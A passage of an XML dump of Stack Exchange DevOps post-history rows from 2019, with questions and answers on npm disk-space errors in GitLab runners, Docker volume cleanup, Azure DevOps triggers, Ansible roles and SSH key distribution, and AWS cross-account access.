'/builds/sites/mysite/.npmcache/lib/node_modules/.staging/fs.realpath-89c6342a/old.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/balanced-match-601d32f6/LICENSE.md'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/default-resolution-1ee87648/index.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/archy-6b1fc3a7/test/beep.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/array-initial-dd86c469/LICENSE-MIT'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/core-util-is-c201cb52/lib/util.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/concat-map-071c084f/example/map.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/buffer-equal-a9e86a30/example/eq.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/gulp-02a15240/package.json'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/flagged-respawn-ed938be5/lib/is-v8flags.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/extend-b499a705/CHANGELOG.md'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/function-bind-b92d92f1/index.js'&#xD;&#xA;npm WARN tar ENOSPC: no space left on device, open '/builds/sites/mysite/.npmcache/lib/node_modules/.staging/default-resolution-1ee87648/node-version.js'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, open '/root/.npm/_cacache/index-v5/48/51/88ad48f396d262bcea9e42159a40a93446826c57af0b1c54d2699aca3607'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/de/70'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/de/70'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/2f/98'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/5d/36'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/2d/fa'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/f8/8f'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/7d/c9'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/1e/e2'&#xD;&#xA;Unhandled rejection Error: ENOSPC: no space left on device, mkdir '/root/.npm/_cacache/index-v5/b8/3c'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Gitlab-runner is running in a docker container on a photon-os machine.&#xD;&#xA;&#xD;&#xA;The cache directory of the runner itself (`/builds/sites`) is only 60M.&#xD;&#xA;&#xD;&#xA;Here is the result of `df -h` on the host (photon-os)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Filesystem      Size  Used Avail Use% Mounted on&#xD;&#xA;overlay          16G   13G  2.0G  87% /&#xD;&#xA;tmpfs            64M     0   64M   0% /dev&#xD;&#xA;tmpfs          1000M     0 1000M   0% /sys/fs/cgroup&#xD;&#xA;shm              64M     0   64M   0% /dev/shm&#xD;&#xA;/dev/root        16G   13G  2.0G  87% /etc/gitlab-runner&#xD;&#xA;tmpfs          1000M  652K  999M   1% /run/docker.sock&#xD;&#xA;tmpfs          1000M     0 1000M   0% /proc/acpi&#xD;&#xA;tmpfs          1000M     0 1000M   0% /sys/firmware&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;and here, df -hi&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Filesystem     Inodes IUsed IFree IUse% Mounted on&#xD;&#xA;overlay          1.0M 1021K  3.8K  100% /&#xD;&#xA;tmpfs            250K    15  250K    1% /dev&#xD;&#xA;tmpfs            250K    16  250K    1% /sys/fs/cgroup&#xD;&#xA;shm              250K     1  250K    1% /dev/shm&#xD;&#xA;/dev/root        1.0M 1021K  3.8K  100% /etc/gitlab-runner&#xD;&#xA;tmpfs            250K   470  250K    1% /run/docker.sock&#xD;&#xA;tmpfs            250K     1  250K    1% /proc/acpi&#xD;&#xA;tmpfs            250K     1  250K    1% /sys/firmware&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21500" PostHistoryTypeId="1" PostId="6779" RevisionGUID="507d3d73-0645-4fd5-8f57-6496663cd34a" CreationDate="2019-04-04T10:02:17.137" UserId="13258" Text="No space left on device when running job on photon-os" ContentLicense="CC BY-SA 4.0" />
  <row Id="21501" PostHistoryTypeId="3" PostId="6779" RevisionGUID="507d3d73-0645-4fd5-8f57-6496663cd34a" CreationDate="2019-04-04T10:02:17.137" UserId="13258" Text="&lt;gitlab-ci-runner&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21502" PostHistoryTypeId="2" PostId="6780" RevisionGUID="f1f90183-66f6-40d1-b46f-4808fda83667" CreationDate="2019-04-04T11:20:27.433" UserId="13258" Text="Well this seems to be a docker issue. It’s keeping a whole lot of dangling volumes.&#xA;You can get rid of them with &#xA;&#xA;    docker volume rm $(docker volume ls -qf dangling=true)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21503" PostHistoryTypeId="2" PostId="6781" RevisionGUID="5674e5ca-c25b-4152-8497-acfd4303d343" CreationDate="2019-04-04T12:00:48.723" UserId="12026" Text="On the Azure DevOps, in we `git` we have a schema of branches where we create a branch per `sprint`, for sample:&#xD;&#xA;&#xD;&#xA; - sprint01&#xD;&#xA; - sprint02&#xD;&#xA; - sprint03&#xD;&#xA; ...&#xD;&#xA;&#xD;&#xA;We keep the 3 last `sprint` branches, and in this case when I create the `sprint4` branch, we will drop the `sprint01`. Each sprint  We publish a version of our product every week. On the `build` pipeline definition on our project, we have defined the trigger to run over a push on the `sprint*` branch because we don't want to change the definition on each new version.&#xD;&#xA;&#xD;&#xA;It works but it runs a build for each `sprint` branch and a release for each one. I would like to have just for that branch (with prefix `sprint`) that was pushed on the git. Is there any way to configure it?&#xD;&#xA;&#xD;&#xA;My current configuration:&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/XJM2C.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="21504" PostHistoryTypeId="1" PostId="6781" RevisionGUID="5674e5ca-c25b-4152-8497-acfd4303d343" CreationDate="2019-04-04T12:00:48.723" UserId="12026" Text="How trigger a build by a commit in a branch prefix?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21505" PostHistoryTypeId="3" PostId="6781" RevisionGUID="5674e5ca-c25b-4152-8497-acfd4303d343" CreationDate="2019-04-04T12:00:48.723" UserId="12026" Text="&lt;azure-devops&gt;&lt;build-pipeline&gt;&lt;release&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21506" PostHistoryTypeId="5" PostId="6780" RevisionGUID="5b1a2e41-c96c-492a-a387-6e9a32128b3a" CreationDate="2019-04-04T12:04:16.870" UserId="13258" Comment="added 68 characters in body" Text="Well this seems to be a docker issue. It’s keeping a whole lot of dangling volumes.&#xD;&#xA;&#xD;&#xA;check if you have some :&#xD;&#xA;&#xD;&#xA;    docker volume ls -qf dangling=true&#xD;&#xA;&#xD;&#xA;Get rid of them with :&#xD;&#xA;&#xD;&#xA;    docker volume rm $(docker volume ls -qf dangling=true)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21516" PostHistoryTypeId="2" PostId="6784" RevisionGUID="6015b9d4-f71a-4a80-b185-59cafa01c57c" CreationDate="2019-04-04T18:28:08.647" UserId="13217" Text="I'd like to be able to define a task with default parameters:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Create a new user&#xD;&#xA;  user:&#xD;&#xA;    name: &quot;default&quot;&#xD;&#xA;    password: &quot;password&quot;&#xD;&#xA;    state: present&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then, from my playbook, I'd like to be able to do something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;  roles:&#xD;&#xA;    - role: common&#xD;&#xA;      vars:&#xD;&#xA;        name: &quot;frank&quot;&#xD;&#xA;        shell: &quot;/bin/zsh&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;...and have it create the user &quot;frank&quot;, with the password &quot;password&quot; and the /bin/zsh shell. Is it possible to override task parameters from an Ansible playbook? (For the record, the above doesn't work, I tried it.)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21517" PostHistoryTypeId="1" PostId="6784" RevisionGUID="6015b9d4-f71a-4a80-b185-59cafa01c57c" CreationDate="2019-04-04T18:28:08.647" UserId="13217" Text="Override Ansible task parameters from role" ContentLicense="CC BY-SA 4.0" />
  <row Id="21518" PostHistoryTypeId="3" PostId="6784" RevisionGUID="6015b9d4-f71a-4a80-b185-59cafa01c57c" CreationDate="2019-04-04T18:28:08.647" UserId="13217" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21519" PostHistoryTypeId="2" PostId="6785" RevisionGUID="05e9624e-e615-4990-ab97-33dea2a724b1" CreationDate="2019-04-04T20:01:13.880" UserId="7506" Text="I have a Dockerfile which I want to run some tests inside of as part of a multistage build. The tests attempt to make a connection to localhost, however it appears that they're not able to connect to the specific port (which is ready on the host machine) inside the RUN command of the Dockerfile. Is such a thing possible, and if so how do I achieve it? Obviously external connections can be made at build time (to download dependencies and such) and loopbacks at run time&#xD;&#xA;&#xD;&#xA;    FROM python:3.7-alpine as tester&#xD;&#xA;    COPY . .&#xD;&#xA;    RUN python -m unittest discover&#xD;&#xA;&#xD;&#xA;And for reference, the Python code checking the connection&#xD;&#xA;&#xD;&#xA;    def setUp():&#xD;&#xA;        timeout = 120.0&#xD;&#xA;        port = 15903&#xD;&#xA;        host = 'localhost'&#xD;&#xA;        start_time = time.perf_counter()&#xD;&#xA;        while True:&#xD;&#xA;            try:&#xD;&#xA;                with socket.create_connection((host, port), timeout=timeout):&#xD;&#xA;                    break&#xD;&#xA;            except OSError as ex:&#xD;&#xA;                time.sleep(1.0)&#xD;&#xA;                if time.perf_counter() - start_time &gt;= timeout:&#xD;&#xA;                    raise TimeoutError('Waited too long for the port {} on host {} to start accepting connections.'.format(port, host)) from ex " ContentLicense="CC BY-SA 4.0" />
  <row Id="21520" PostHistoryTypeId="1" PostId="6785" RevisionGUID="05e9624e-e615-4990-ab97-33dea2a724b1" CreationDate="2019-04-04T20:01:13.880" UserId="7506" Text="How to connect to host during a Docker build?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21521" PostHistoryTypeId="3" PostId="6785" RevisionGUID="05e9624e-e615-4990-ab97-33dea2a724b1" CreationDate="2019-04-04T20:01:13.880" UserId="7506" Text="&lt;docker&gt;&lt;dockerfile&gt;&lt;python&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21522" PostHistoryTypeId="5" PostId="6700" RevisionGUID="06695091-b202-490c-8134-5f8fbb2bb63b" CreationDate="2019-04-04T20:03:43.373" UserId="13094" Comment="Rephrased title; formatted parts of question body" Text="I have a conceptual doubt about CI using jenkins. I know jenkins can help me to integrate all code built by developers. &#xD;&#xA;&#xD;&#xA;So the question is: How is this not already resolved with Github (or any other git tool)?&#xD;&#xA;&#xD;&#xA;I can run `git stash`, `git pull origin master`, and/or `git stash apply` to integrate other code with my code.&#xD;&#xA;&#xD;&#xA;So I think I am misunderstanding something about continuous integration. Can you clear my mind?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21523" PostHistoryTypeId="4" PostId="6700" RevisionGUID="06695091-b202-490c-8134-5f8fbb2bb63b" CreationDate="2019-04-04T20:03:43.373" UserId="13094" Comment="Rephrased title; formatted parts of question body" Text="How is Continuous Integration different from using git to integrate external code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21524" PostHistoryTypeId="24" PostId="6700" RevisionGUID="06695091-b202-490c-8134-5f8fbb2bb63b" CreationDate="2019-04-04T20:03:43.373" Comment="Proposed by 13094 approved by -1 edit id of 970" ContentLicense="CC BY-SA 4.0" />
  <row Id="21525" PostHistoryTypeId="5" PostId="6700" RevisionGUID="8e2b276c-13b2-4ed4-a8c6-4a4deae6c477" CreationDate="2019-04-04T20:03:43.373" UserId="40" Comment="edited body" Text="I have a conceptual doubt about CI using Jenkins. I know Jenkins can help me to integrate all code built by developers. &#xD;&#xA;&#xD;&#xA;So the question is: How is this not already resolved with Github (or any other git tool)?&#xD;&#xA;&#xD;&#xA;I can run `git stash`, `git pull origin master`, and/or `git stash apply` to integrate other code with my code.&#xD;&#xA;&#xD;&#xA;So I think I am misunderstanding something about continuous integration. Can you clear my mind?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21526" PostHistoryTypeId="2" PostId="6786" RevisionGUID="efcc8640-7b42-45bb-82c0-1e7335d712ee" CreationDate="2019-04-04T20:30:32.943" UserId="13269" Text="In 2.5+ (well after the question), there is the debugger which covers most of this:&#xD;&#xA;https://docs.ansible.com/ansible/latest/user_guide/playbooks_debugger.html&#xD;&#xA;&#xD;&#xA;As for one at a time, using &quot;--forks 1&quot; only connects to one system at a time if you want to do it ad-hoc and not every time." ContentLicense="CC BY-SA 4.0" />
  <row Id="21527" PostHistoryTypeId="50" PostId="6463" RevisionGUID="df99ea9d-6239-4319-9428-8018d1094973" CreationDate="2019-04-04T22:01:05.307" UserId="-1" />
  <row Id="21528" PostHistoryTypeId="2" PostId="6787" RevisionGUID="6593a276-7623-4423-808d-4c325c9d7d04" CreationDate="2019-04-05T02:40:56.687" UserId="13276" Text="Is it possible to run aws cli from ec2 to create some resources in another account without using aws_secret_key and aws_access_key?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21529" PostHistoryTypeId="1" PostId="6787" RevisionGUID="6593a276-7623-4423-808d-4c325c9d7d04" CreationDate="2019-04-05T02:40:56.687" UserId="13276" Text="Cross account access from ec2 to other accounts" ContentLicense="CC BY-SA 4.0" />
  <row Id="21530" PostHistoryTypeId="3" PostId="6787" RevisionGUID="6593a276-7623-4423-808d-4c325c9d7d04" CreationDate="2019-04-05T02:40:56.687" UserId="13276" Text="&lt;amazon-ec2&gt;&lt;aws-cli&gt;&lt;aws-iam&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21531" PostHistoryTypeId="2" PostId="6788" RevisionGUID="82175392-d734-48ec-9f2f-9da8ad0f6558" CreationDate="2019-04-05T03:11:55.787" UserId="8800" Text="Sure, if the EC2 role allows `STS::AssumeRole` you can assume a role in the other account and get temporary credentials to do whatever you need to do in the other account.&#xD;&#xA;&#xD;&#xA;See for example here: **[Cross Account Access with AWS-CLI](https://aws.nz/best-practice/cross-account-access-with-aws-cli/)**" ContentLicense="CC BY-SA 4.0" />
  <row Id="21532" PostHistoryTypeId="2" PostId="6789" RevisionGUID="1f772ab7-1486-459b-89e1-9e35bc1c3ab6" CreationDate="2019-04-05T10:29:28.783" UserId="1133" Text="How to use ansible authorized_key to authorize a ServerA (not the controller machine) to access Server B.&#xD;&#xA;&#xD;&#xA;Scenario: Need a playbook to execute from a ansible controller that should append id_rsa.pub of a specific user from a remote ssh ServerA (no the controller machine ) to ServerB.&#xD;&#xA;&#xD;&#xA;In our case the ServerA count is 20 while ServerB count is 200.&#xD;&#xA;What i have tried so far and failed.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    # tasks file for passwordless&#xD;&#xA;    - name: Play to setup Passowrdless&#xD;&#xA;      hosts: destnode&#xD;&#xA;      remote_user: &quot;{{ ssh_user }}&quot;&#xD;&#xA;      vars_prompt:&#xD;&#xA;        - name: &quot;ssh_user&quot;&#xD;&#xA;          prompt: &quot;Please specify ssh user name&quot;&#xD;&#xA;          private: no&#xD;&#xA;    &#xD;&#xA;      tasks:&#xD;&#xA;      - name: Copy pub key from SourceNode to Destnode&#xD;&#xA;        authorized_key:&#xD;&#xA;          user: &quot;{{ ssh_user }}&quot;&#xD;&#xA;          state: present&#xD;&#xA;          key: &quot;{{ lookup('file', lookup('env','HOME') + '/.ssh/id_rsa.pub') }}&quot;&#xD;&#xA;        become: yes&#xD;&#xA;        become_user: &quot;{{ ssh_user }}&quot;&#xD;&#xA;        delegate_to: &quot;{{ hostvars.sourcenode }}&quot;&#xD;&#xA;        when: ssh_user is defined&#xD;&#xA;        register: copyout&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;      - name: Print copyout value&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;{{ copyout }}&quot;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21533" PostHistoryTypeId="1" PostId="6789" RevisionGUID="1f772ab7-1486-459b-89e1-9e35bc1c3ab6" CreationDate="2019-04-05T10:29:28.783" UserId="1133" Text="Ansible authorized copy from remote source to remote destination" ContentLicense="CC BY-SA 4.0" />
  <row Id="21534" PostHistoryTypeId="3" PostId="6789" RevisionGUID="1f772ab7-1486-459b-89e1-9e35bc1c3ab6" CreationDate="2019-04-05T10:29:28.783" UserId="1133" Text="&lt;ansible&gt;&lt;ansible-inventory&gt;&lt;ansible-galaxy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21535" PostHistoryTypeId="2" PostId="6790" RevisionGUID="b6cc7549-c3d5-42b7-adf1-c41ef4104119" CreationDate="2019-04-05T10:30:15.217" UserId="11797" Text="I create jenkins job which is upload my war file to elastic beanstalk. But when I start buid it gives error java.lang.IllegalArgumentException: Root Object doesn't exist  &#xD;&#xA;&#xD;&#xA;Below is my configuration:[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/nLI59.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="21536" PostHistoryTypeId="1" PostId="6790" RevisionGUID="b6cc7549-c3d5-42b7-adf1-c41ef4104119" CreationDate="2019-04-05T10:30:15.217" UserId="11797" Text="elastic beanstalk give error Root Object doesn't exist in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="21537" PostHistoryTypeId="3" PostId="6790" RevisionGUID="b6cc7549-c3d5-42b7-adf1-c41ef4104119" CreationDate="2019-04-05T10:30:15.217" UserId="11797" Text="&lt;jenkins&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21538" PostHistoryTypeId="2" PostId="6791" RevisionGUID="1797c16a-3b50-4473-82f4-ccf53ce6b243" CreationDate="2019-04-05T11:29:01.620" UserId="7715" Text="&gt; To append id_rsa.pub of a specific user from a remote ssh ServerA (no the controller machine ) to ServerB.&#xD;&#xA;&#xD;&#xA;1) Fetch the public keys from ServerA&#xD;&#xA;&#xD;&#xA;    - host: ServerA&#xD;&#xA;      vars:&#xD;&#xA;        public_keys_dir: &lt;PUB_KEYS_DIR&gt;&#xD;&#xA;        specific_user:&#xD;&#xA;          - user1&#xD;&#xA;          - user2&#xD;&#xA;          - userN&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Fetch pub keys&#xD;&#xA;          fetch:&#xD;&#xA;            src: &quot;/home/{{ item }}/.ssh/id_rsa.pub&quot;&#xD;&#xA;            dest: &quot;{{ public_keys_dir }}/{{ item }}-ServerA.id_rsa.pub&quot;&#xD;&#xA;            flat: yes&#xD;&#xA;          loop: &quot;{{ specific_user }}&quot;&#xD;&#xA;&#xD;&#xA;2) Configure authorized keys at ServerB&#xD;&#xA;&#xD;&#xA;    - host: ServerB&#xD;&#xA;      vars:&#xD;&#xA;        public_keys_dir: &lt;PUB_KEYS_DIR&gt;&#xD;&#xA;        my_remote_user: admin&#xD;&#xA;      tasks:&#xD;&#xA;        - name: Set up authorized_keys&#xD;&#xA;          authorized_key:&#xD;&#xA;            user: &quot;{{ my_remote_user }}&quot;&#xD;&#xA;            key: &quot;{{ lookup('file', '{{ item }}')}}&quot;&#xD;&#xA;          with_fileglob:&#xD;&#xA;            - &quot;{{ public_keys_dir }}/*-ServerA.id_rsa.pub&quot;&#xD;&#xA;&#xD;&#xA;(not tested)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21539" PostHistoryTypeId="2" PostId="6792" RevisionGUID="cc162d62-9b9c-4536-9fa1-ce0191e6cf69" CreationDate="2019-04-05T12:03:54.993" UserId="1133" Text="    ---&#xD;&#xA;    # tasks file for passwordless&#xD;&#xA;    - name: Play to setup Passowrdless&#xD;&#xA;      remote_user: &quot;{{ ssh_user }}&quot;&#xD;&#xA;      vars_prompt:&#xD;&#xA;        - name: &quot;ssh_user&quot;&#xD;&#xA;          prompt: &quot;Please specify ssh user name&quot;&#xD;&#xA;          private: no&#xD;&#xA;      hosts: all&#xD;&#xA;      tasks:&#xD;&#xA;      - name: Get pub key value from edgenode&#xD;&#xA;        #hosts: edgenode&#xD;&#xA;        command:&#xD;&#xA;          cat $HOME/.ssh/id_rsa.pub&#xD;&#xA;        register: pubkey&#xD;&#xA;        when: &quot;'group_edgenode' in  group_names&quot;&#xD;&#xA;    &#xD;&#xA;      - name: Print copyout value&#xD;&#xA;        debug:&#xD;&#xA;          msg: &quot;{{ pubkey.stdout }}&quot;&#xD;&#xA;        when: &quot;'group_edgenode' in  group_names&quot;&#xD;&#xA;    &#xD;&#xA;      - name: Append pub key value to datanodes&#xD;&#xA;        #hosts: datanode&#xD;&#xA;        lineinfile:&#xD;&#xA;          path: $HOME/.ssh/authorized_keys&#xD;&#xA;          #line: &quot;{{ pubkey.stdout }}&quot;&#xD;&#xA;          line: &quot;{{ groups['group_datanode'] | map('extract',hostvars, stdout) }}&quot;&#xD;&#xA;          state: present&#xD;&#xA;          owner: &quot;{{ ssh_user }}&quot;&#xD;&#xA;          #group: domain&#xD;&#xA;          mode: 0600&#xD;&#xA;          backup: yes&#xD;&#xA;          insertafter: EOF&#xD;&#xA;        #when: inventory_hostname in groups['datanode']&#xD;&#xA;        when: &quot;'group_datanode' in  group_names&quot;&#xD;&#xA;&#xD;&#xA;This is the solution that works for me. Here edgenode are ServerA and datanode are ServerB.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21540" PostHistoryTypeId="2" PostId="6793" RevisionGUID="d45abcbe-f3ad-4d77-bb97-721d9a4eccb3" CreationDate="2019-04-05T13:51:50.337" UserId="6273" Text="I'm in the process of refining my DevOps skills, but my &quot;Cloud&quot; is more like a lot of scripted virtual machines and monitoring the system.  For example, if I have Oracle VM Server, and I install Ansible, Docker, Kubernetes, etc., and I can do CI, provision VMs, containers, monitoring with Elastic...does that qualify as a Cloud?&#xD;&#xA;&#xD;&#xA;What I might provision:&#xD;&#xA;&#xD;&#xA;Developer needs CI.  The developer uses Team Foundation Server which has CI calling Jenkins or something else, deploying.&#xD;&#xA;&#xD;&#xA;Developer's App starts getting hit, a lot, hey, we need x, I scale up with more powerful VM.  I scale out if the application is engineered to allow it.  Database scaling, sharding, caching more, indexes, the whole DBA part.&#xD;&#xA;&#xD;&#xA;*To me this is more DevOps.  You understand both Dev and Ops world and know when Ops can't help anymore per se, and when an application needs engineering.&#xD;&#xA;&#xD;&#xA;There are other things with the scripting and log monitoring.&#xD;&#xA;&#xD;&#xA;But, I do not have true Cloud software like Azure, Oracle Cloud, and I don't have Faas.&#xD;&#xA;&#xD;&#xA;I don't want to misrepresent myself as a Cloud Engineer or like title." ContentLicense="CC BY-SA 4.0" />
  <row Id="21541" PostHistoryTypeId="1" PostId="6793" RevisionGUID="d45abcbe-f3ad-4d77-bb97-721d9a4eccb3" CreationDate="2019-04-05T13:51:50.337" UserId="6273" Text="Is FaaS required to have an official &quot;Cloud&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21542" PostHistoryTypeId="3" PostId="6793" RevisionGUID="d45abcbe-f3ad-4d77-bb97-721d9a4eccb3" CreationDate="2019-04-05T13:51:50.337" UserId="6273" Text="&lt;terminology&gt;&lt;cloud&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21543" PostHistoryTypeId="2" PostId="6794" RevisionGUID="472b3d3a-4848-4c08-834b-78cbdb161569" CreationDate="2019-04-05T14:26:36.403" UserId="11598" Text="This error occurs because you used a variable ($) and wildcard name (*.war). &#xD;&#xA;&#xD;&#xA;Elastic Beanstalk plugin does not support Variable or wildcard name in the Value.&#xD;&#xA;&#xD;&#xA;I suggest a use full path of Jenkins job instead of `${WORKSPACE}` and full war name like `ROOT.war` instead of `*.war`" ContentLicense="CC BY-SA 4.0" />
  <row Id="21544" PostHistoryTypeId="5" PostId="6790" RevisionGUID="48374578-cf92-4b0f-b090-56dc5b63ad9e" CreationDate="2019-04-05T14:35:16.497" UserId="11598" Comment="added 6 characters in body" Text="I create a Jenkins job which uploads my war file to elastic beanstalk. But when I start to build it gives error `java.lang.IllegalArgumentException: Root Object doesn't exist`  &#xD;&#xA;&#xD;&#xA;Below is my configuration:[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/nLI59.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="21545" PostHistoryTypeId="4" PostId="6790" RevisionGUID="48374578-cf92-4b0f-b090-56dc5b63ad9e" CreationDate="2019-04-05T14:35:16.497" UserId="11598" Comment="added 6 characters in body" Text="Elastic Beanstalk give error Root Object doesn't exist in Jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="21546" PostHistoryTypeId="6" PostId="6790" RevisionGUID="48374578-cf92-4b0f-b090-56dc5b63ad9e" CreationDate="2019-04-05T14:35:16.497" UserId="11598" Comment="added 6 characters in body" Text="&lt;jenkins&gt;&lt;amazon-web-services&gt;&lt;elastic&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21547" PostHistoryTypeId="24" PostId="6790" RevisionGUID="48374578-cf92-4b0f-b090-56dc5b63ad9e" CreationDate="2019-04-05T14:35:16.497" Comment="Proposed by 11598 approved by 11797 edit id of 971" ContentLicense="CC BY-SA 4.0" />
  <row Id="21548" PostHistoryTypeId="2" PostId="6795" RevisionGUID="88cba803-6d0e-4a53-ae70-220a1c356e22" CreationDate="2019-04-05T16:36:16.380" UserId="13288" Text="I also wish to know this answer. Did you come up with anything yet? The only way I can think of is to install/create a proxy like service on the host that exposes the virtualbox/vmware command line for vagrant to use.  Might also be possible for a small service on the host that listens/reads from a socket/file for incoming commands while the vm writes the commands to the socket/file.  This socket/file would be in the shared directory.  You would probably need 2 sockets (one for read, one for write). This could be turned into a vagrant plugin that would initially extend virtualbox plugin.&#xD;&#xA;&#xD;&#xA;I am literally just spitballing here though.   You probably can't stand up adhoc tcp servcies on you laptop but you might be able to get by with  a socket/file based mechanism.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="21549" PostHistoryTypeId="2" PostId="6796" RevisionGUID="7cbbc520-f933-4c46-92d5-d0ae4bb5b8d6" CreationDate="2019-04-05T17:58:30.017" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="21550" PostHistoryTypeId="1" PostId="6796" RevisionGUID="7cbbc520-f933-4c46-92d5-d0ae4bb5b8d6" CreationDate="2019-04-05T17:58:30.017" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21551" PostHistoryTypeId="2" PostId="6797" RevisionGUID="f2a79885-04ec-4877-8e92-ada3a6275d5c" CreationDate="2019-04-05T17:58:30.017" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="21552" PostHistoryTypeId="1" PostId="6797" RevisionGUID="f2a79885-04ec-4877-8e92-ada3a6275d5c" CreationDate="2019-04-05T17:58:30.017" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21555" PostHistoryTypeId="2" PostId="6798" RevisionGUID="ca441c4e-b008-4102-b41b-67c66b82d154" CreationDate="2019-04-06T07:25:28.610" UserId="4128" Text="Defining default value for ansible variables and overriding them via ansible playbooks can be achieved using Jinja2 templating.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    - name: Create a new user&#xD;&#xA;      user:&#xD;&#xA;        name: &quot;{{ username_variable | default('default_value') }}&quot;&#xD;&#xA;        password: &quot;{{ password_variable | default('default_value') }}&quot;&#xD;&#xA;        state: present&#xD;&#xA;&#xD;&#xA;Then if these variables are passed from the playbook it will be used, or else the default values.&#xD;&#xA;&#xD;&#xA;      roles:&#xD;&#xA;        - role: common&#xD;&#xA;          vars:&#xD;&#xA;            username_variable: &quot;frank&quot;&#xD;&#xA;            password_variable: &quot;/bib/zsh&quot;" ContentLicense="CC BY-SA 4.0" />
